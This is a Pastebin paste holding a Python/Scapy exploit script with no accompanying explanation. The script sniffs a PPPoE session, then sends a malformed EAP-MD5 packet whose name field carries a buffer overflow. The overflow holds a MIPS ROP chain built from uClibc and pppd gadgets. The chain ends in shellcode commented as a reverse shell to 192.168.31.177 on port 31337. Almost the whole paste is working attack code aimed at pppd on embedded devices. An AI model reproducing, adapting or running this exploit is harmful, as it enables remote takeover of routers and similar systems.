Advertisement
Guest User

Untitled

a guest
Apr 7th, 2020
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 6.01 KB | None | 0 0
  1. from scapy.all import *
  2. from socket import *
  3.  
  4. interface = "enp0s31f6"
  5. sessionid = 0
  6.  
  7. def mysend(pay,interface = interface):
  8.     # time.sleep(0.5)
  9.     #s = socket(AF_PACKET, SOCK_RAW)
  10.     #s.bind((interface, 0))
  11.     #s.send(pay)
  12.     sendp(pay, iface = interface)
  13.    
  14. def packet_callback(packet):
  15.  
  16.     global sessionid
  17.     sessionid = int(packet['PPP over Ethernet'].sessionid)
  18.     print("sessionid:" + str(sessionid))
  19.  
  20. def eap_response_md5():
  21.     """
  22.    Ethernet II, Src: Vmware_b9:de:6c (00:0c:29:b9:de:6c), Dst: Vmware_83:48:19 (00:0c:29:83:48:19) Type: PPPoE Session (0x8864)
  23.    PPPoes : Version(4bits) + type(4bits) + code + session ID + payload length
  24.    PPP :  Extensible Authentication Protocol (0xc227)
  25.    EAP :  
  26.        Code: Request (1)
  27.        Id: 131
  28.        Length: 344
  29.        Type: MD5-Challenge EAP (EAP-MD5-CHALLENGE) (4)
  30.        EAP-MD5 Value-Size: 18
  31.        EAP-MD5 Value: ef0a5c972ecfaeb3307310e99d81f9b0decf
  32.        EAP-MD5 Extra Data: 414141414141414141414141414141414141414141414141...
  33.    
  34.    pay = "\x00\x0c\x29\x83\x48\x19" \
  35.    "\x00\x0c\x29\xb9\xde\x6c" \
  36.    "\x88\x64\x11\x00" \
  37.    "\x00" + chr(sessionid) + "\x01\x5a\xc2\x27\x01\x83\x01\x58\x04\x12\xef\x0a\x5c\x97" \
  38.    "\x2e\xcf\xae\xb3\x30\x73\x10\xe9\x9d\x81\xf9\xb0\xde\xcf\x41\x41" \
  39.    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \
  40.    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \
  41.    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" \
  42.    "\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41" + 'a'*0x100
  43.    """
  44.  
  45.     #libuclibc base: 77eaa000
  46.  
  47.     src = b"\x00\x00\x00\x00\x00\x00"
  48.     dst = b"\x00\x00\x00\x00\x00\x00"
  49.     ethertype = b"\x88\x64"
  50.  
  51.     md5 = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\x0C\x0D\x0E\x0F\x10"
  52.  
  53.     local_28 = b'\x84\x57\x44\x00'
  54.    
  55.     # Loaded from 0x42590c
  56.     s0 = b"\x4c\x4a\xEC\x77" # uclibc 0x0001aa4c : subu $sp, $sp, $v0 ; addiu $s3, $sp, 0x18 ; move $a0, $s3 ; move $a1, $s6 ; move $t9, $s1 ; jalr $t9 ; move $a2, $s7
  57.     s1 = b"\x84\x7D\xEB\x77" # uclibc 0x0000dd84 : move $t9, $s4 ; lbu $s6, -1($v0) ; jalr $t9 ; move $a0, $s2 ; addiu $a2, $v0, 1 ; addiu $a0, $s0, 0xb ; move $t9, $s3 ; jalr $t9 ; move $a1, $s2
  58.     s2 = b"\xC0\x04\x00\x00" # 0x4C0 How far we are rewinding the stack pointer
  59.     s3 = b"\x01\x00\x00\x00" # !0
  60.     s4 = b"\x0c\x93\x40\x00" # 0x0040930c lw $s5, 0x3c($sp) ; lw $s4, 0x38($sp) ; lw $s3, 0x34($sp) ; lw $s2, 0x30($sp) ; lw $s1, 0x2c($sp) ; lw $s0, 0x28($sp) ; jr $ra ; addiu $sp, $sp, 0x48
  61.     s5 = b"\x00\x00\x00\x00"
  62.  
  63.     ra = b"\x0c\x2d\x41\x00" # 0x00412d0c : move $v0, $s2 ; beqz $s3, 0x412d4c ; addiu $s6, $s6, 1 ; lbu $a2, -1($s6) ; move $a0, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a1, $s4
  64.  
  65.     new_s0 = b"\x01\x00\x00\x00" # 1 (loaded in to $a0, then +0xb later)
  66.     new_s1 = b"\x00\x00\x00\x00"
  67.     new_s2 = b"\x40\x61\xF1\x77" # uclibc sleep() base + 0x6c140 = 77F16140
  68.     new_s3 = b"\xA8\x85\xEF\x77" # 77EF85A8 libuClibc.txt:0x0004e5a8 : lw $ra, 0x24($sp) ; lw $s1, 0x1c($sp) ; lw $s0, 0x18($sp) ; move $t9, $s2 ; lw $s2, 0x20($sp) ; jr $t9 ; addiu $sp, $sp, 0x28
  69.     new_s4 = b"\x00\x00\x00\x00"
  70.     new_s5 = b"\x00\x00\x00\x00"
  71.  
  72.     c6_s0 = b"\x74\xd8\x40\x00" # pppd.txt:0x0040d874 : move $t9, $s1 ; jalr $t9 ; nop
  73.     c6_s1 = b"\x00\x00\x00\x00"
  74.     c6_s2 = b"\x00\x00\x00\x00"
  75.     c6_ra = b"\x90\x37\xEC\x77" # libuClibc.txt:0x00019790 : addiu $s1, $sp, 0x10 ; move $a0, $s1 ; move $t9, $s0 ; jalr $t9 ; move $a1, $s4
  76.  
  77.     # Reverse shell, connect to 192.168.31.177:31337
  78.  
  79.     stg3_SC =  b"\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28"
  80.     stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
  81.     stg3_SC += b"\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01"
  82.     stg3_SC += b"\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01"
  83.     stg3_SC += b"\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24"
  84.     stg3_SC += b"\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20"
  85.     stg3_SC += b"\xf8\xff\xa5\xaf\x1f\xb1\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf"
  86.     stg3_SC += b"\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24"
  87.     stg3_SC += b"\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf"
  88.     stg3_SC += b"\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28"
  89.     stg3_SC += b"\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23"
  90.     stg3_SC += b"\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28"
  91.     stg3_SC += b"\xab\x0f\x02\x24\x0c\x09\x09\x01"
  92.  
  93.     #Debug sleep
  94.     #s0 = b"\x00\x00\x00\x00"
  95.     #s1 = b"\x40\x61\xF1\x77" # uclibc sleep() base + 0x6c140 = 77F16140
  96.     #s2 = b"\x03\x00\x00\x00"
  97.     #s3 = b"\x01\x00\x00\x00"
  98.     #s4 = b"\x0c\x93\x40\x00"
  99.     #s5 = b"\x00\x00\x00\x00"
  100.  
  101.     #ra = b"\x04\xdb\x40\x00" # 0x0040db04 : move $a0, $s2 ; move $t9, $s1 ; jalr $t9
  102.  
  103.     rop_chain =  (b'A' * 0x17C)
  104.     rop_chain += local_28
  105.     rop_chain += (b'A' * 0x4)
  106.     rop_chain += s0
  107.     rop_chain += s1
  108.     rop_chain += s2
  109.     rop_chain += s3
  110.     rop_chain += s4
  111.     rop_chain += s5
  112.     rop_chain += ra
  113.     #Only rewound the sp by 4C0, so there's 0x100 left
  114.     rop_chain += (b'A' * 0x100)
  115.     rop_chain += (b'A' * 0x28)
  116.     rop_chain += new_s0
  117.     rop_chain += new_s1
  118.     rop_chain += new_s2
  119.     rop_chain += new_s3
  120.     rop_chain += new_s4
  121.     rop_chain += new_s5
  122.     rop_chain += (b'A' * 0x8)
  123.     rop_chain += (b'A' * 0x18)
  124.     rop_chain += c6_s0
  125.     rop_chain += c6_s1
  126.     rop_chain += c6_s2
  127.     rop_chain += c6_ra
  128.     rop_chain += (b'A' * 0x10)
  129.     rop_chain += stg3_SC
  130.     #Just padding the end a little, since the last byte gets set to 0x00?
  131.     rop_chain += (b'A' * 0x8)
  132.  
  133.     pay = Raw(dst + src + ethertype)/PPPoE(code=0x00,sessionid=sessionid)/PPP(proto=0xc227)/EAP_MD5(id=100,value=md5,optional_name=rop_chain)
  134.     mysend(pay)
  135.  
  136.  
  137. if __name__ == '__main__':
  138.     sniff(prn=packet_callback,iface=interface,filter="pppoes",count=1)
  139.    
  140.     eap_response_md5()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement